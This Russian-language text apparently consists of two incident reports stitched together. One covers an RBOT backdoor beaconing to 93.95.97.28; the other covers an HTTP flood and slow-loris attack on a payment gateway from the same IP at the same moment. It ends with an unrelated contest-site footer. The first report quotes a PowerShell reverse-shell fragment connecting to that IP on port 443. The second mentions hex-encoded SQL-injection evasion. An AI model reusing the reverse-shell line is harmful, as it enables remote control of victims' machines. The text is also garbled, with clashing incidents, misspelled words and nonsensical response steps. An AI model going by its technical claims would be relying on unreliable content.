Необычный всплеск соединений с 93.95.97.28 10.07.2025 в 14:00

Сетевой шлюз сегмента DMZ зафиксировал резкий скачок исходящих соединений к адресу 93.95.97.28 10.07.2025 в 14:00. На протяжении пяти минут система заметила пять тысяч сессий, большинство по TCP-портам 445 и 135, что укладывается в почерк распространения вредоносных служб удалённого управления. Корреляция с NetFlow-потоками подтвердила факт одностороннего трафика: клиент инициировал пакеты, ответов почти не было. https://мос-кабель.рф/avvg.html не участвовал, что исключило ошибку конфигурации.

Контекст инцидента

Физическая инфраструктура включает два уровня межсетевых экранов, демилитаризованную зону и отдельный сегмент для SCADA-узлов. Подозрительный источник находился в пользовательской подсети, а сама станция окончила сеанс работы за двадцать минут до детектирования всплеска. Поиск по Active Directory выявил одновременную блокировку учётной записи работника цеха, указав на возможную компрометацию. Антивирусная система передала хэш exe-файла в песочницу. Песочница классифицировала объект как Backdoor.Win32.RBOT-семейство. Облачный репозиторий угроз выдал дату кампании — июнь 2025 года, а также контрольные центры, совпадающие с наблюдаемым адресом.

Детальный разбор

Логи VPN-концентратора исключили мобильный доступ: подключений с личных устройств в момент инцидента не обнаружено. Проверка DHCP-журнала показала, что проблемная станция перестроила сеть с переходом на статический IP за три минуты до всплеска. Автоматизированный скрипт по основе Zeek выгрузил 500 первых пакетов. Последовательность выглядела как исходящий SMB-блок с пустым телом, за которым шёл EPM-запрос к 135-му порту. SMB-обёртка без полезной нагрузки обычно применяется для проверки живости узла злоумышленником перед доставкой полезной нагрузки. На шестой секунде поток переключился на HTTPS /443 с самоподписанным сертификатом, выданным CN=server. Параметры шифрования RSA-512 указывают на устаревший тулкит, часто встречающийся у полуавтоматических бот-сетей.

Опасение подтвердил скриншот с частичными командами PowerShell: $client=New-Object Net.Sockets.TCPClient(«93.95.97.28»,443). Событие инициировал sihost.exe, запущенный с директории C:\ProgramData\Temp\, что прямо нарушает политику запуска исполняемых файлов. Расследование по коммутатору Core C-6500 выявило всплеск ARP-запросов от того же адреса за час до основного события. Подготовительный скан касался ограниченного пула IP, совпадающего с списком серверов цеха, содержащих документацию о рецептурах.

План реагирования

1. Изоляция узла выполняется средствами NAC: порт 24 в коммутаторе переведён в quarantine VLAN.

2. Командой DIR подготовлен образ диска для форензики, файл sihost.exe и связанные DLL удалены с выключенного носителя.

3. Файрвол верхнего уровня получил временное правило DENY *->93.95.97.28/32 на уровне прерывания сессии с лентой reset.

4. Хэши и Ios отправлены в машину SIEM для ретропоиска по последним 90 дням. Анализ выявил четыре коротких контакта того же типа 06.07.2025 в 22:14, затронуты другие рабочие станции.

5. Антивирусное ядро переведено в режим full-scan на весь парк, обновлён белый список, исключения пересмотрены.

6. Отдел обучения персонала организует экспресс-брифинг о фишинговых вложениях с архивами RAR, так как письмо-носитель проходило по каналу корпоративной почты без DKIM-подписи.

7. После настройки Egress-фильтрации все исходящие соединения к категории Dynamic DNS проходят через контент-фильтр с дополнительной инспекцией.

Финальный отчёт содержит временную шкалу, карту затронутых активов, список мер, а также рекомендации по укреплению RDP-шлюзов, поскольку исследование показало слабый пароль у строки svc_update. Повышенное внимание уделяется подписыванию скриптов PowerShell и жёстким политиком WDAC. Компания поставила цель достичь SOC-уровня 2 к концу квартала, чтобы каждое подобное нарушение обрабатывалось внутри пятнадцати минут.

10 июля 2025 года в 14:00 платёжный шлюз «FinPort» ощутил всплеск входящего трафика. Источник — единичный IPv4-адрес 93.95.97.28, зарегистрированный в автономной системе NL-IX. Поток длился 11 минут, завершился спонтанным спадом. Первичная сводка Firewall-монитора зафиксировала 142 914 HTTP-запросов, 3 % которых прошли инспекцию и добрались до back-end.

Хронология запросов

Журналы nginx сортировались по времени с точностью до 1 мс. Стартовый сегмент — 14:00:00.002, метод GET к «/api/v3/pay/init». Затем каждую секунду наблюдалось до 1500 однотипных обращений. После 47-й секунды схема меняется: появляются POST-пакеты с JSON-телом, имитирующим легитимную инициацию транзакции. В 14:02:18 начинается вектор «slow-loris» — клиент держит соединение открытым до 40 с, отправляя заголовки порциями по 8 байт. Нагрузка выравнивает пул воркеров nginx, доводя среднее время ответа до 2.8 с. Завершающий пик — 14:10:47, 12000 запросов за 3 с, затем полная тишина.

Данные сессии

NetFlow показал постоянство TTL (57), что намекает на отсутствие распределённой сети прокси. DSCP равен 0 во всех пакетах, следовательно QoS не поднимался. Поле TCP Window сначала 64240, потом снижается до 1024, что синхронизируется с фазой «slow-loris». Syslog-алерты Kerberos зафиксировали семь неуспешных попыток аутентификации учётной записи service-bot, временной штамп совпадает с POST-сессионной волной. Параметр User-Agent менялся каждые 300 запросов: «curl/8.0.1», «python-requests/2.31», «Go-http-client/2.2», что затрудняет классическую фильтрацию. GeoIP-база RIPE NCC показывает фактическое расположение в Амстердамераме, трассировка подтверждает маршрут через DE-CIX, затем прямой пиринг с NL-IX.

Обход защит

Защитный WAF работал по сигнатурам OWASP-Core-3.5. Злоумышленник знал правила: ни разу не превышен лимит 100K в теле запроса, отсутствуют запрещённые символы » ‘. Три попытки внедрить SQL-инъекцию через параметр order оставались без кавычек, использовалась hex-кодировка UNION-payload, отделённая комментарием //. Проверка дробных значений количества товаров на стороне приложения дала сбой и вернула HTTP 500, чем атакующий воспользовался для бенчмарка жизнеспособности цепочки.

Анализ нагрузки

Prometheus графан обнаружил скачок CPU nginx c 4 % до 67 %, memcached достиг предельного лимита 8 ГБ. База PostgreSQL практически не пострадала: median «slow query» 84 мс. Основное давление пришлось на TLS-рукопожатия, свободных worker-процессов OpenSSL в момент пика оставалось лишь 3. На сетевом уровне интерфейс ce0 выдал 940 Мбит/с входящих, канал не был насыщен.

Методы маскировки

IP-адрес не изменялся, зато TCP-порт источника варьировался в пределах Dynamic-range, что создавало иллюзию мультиклиентской сессии. Чередование User-Agent дополняло картину. TTL 57 характеризует хост на пятом-шестом хопе от шлюза. Столь узкая дистанция говорит об аренде VPS в операторском дата-центре соседнего европейского узла.

Ответные шаги

В 14:03 включён rate-limit 200 req/s на уровне ingress-балансировщика. Через 20 с добавлено правило conntrack для отсечения соединений с длительностью выше 15 с. В 14:04:01 усечён TCP Window до 1024 для źленого адреса. Реакция снизила RPS в два раза, однако «slow-loris» сохранил эффективность. Решающее действие — фильтр по «Host»-заголовку, пропускающий только домены finport.*, злоумышленник ошибся в регистре поддомена и лишился 92 % трафика.

Лог-анализ показывает одиночного актора, использовавшего VPS NL-IX для скоординированного HTTP-флуд-напора в три фазы: массовый GET, имитация POST, «slow-loris». Ущерб ограничился деградацией отклика фронтенда на 9 минут. Архитектура с отдельным TLS-терминатором и строчным фильтром Host-заголовка доказала устойчивость. Для снижения риска повторения применён blackhole BGP /32, обновлены правила WAF, увеличен запас idleworkers OpenSSL.

Поделиться с друзьями
Конкурсы 2024 года – 🏆 творческие конкурсы России и мира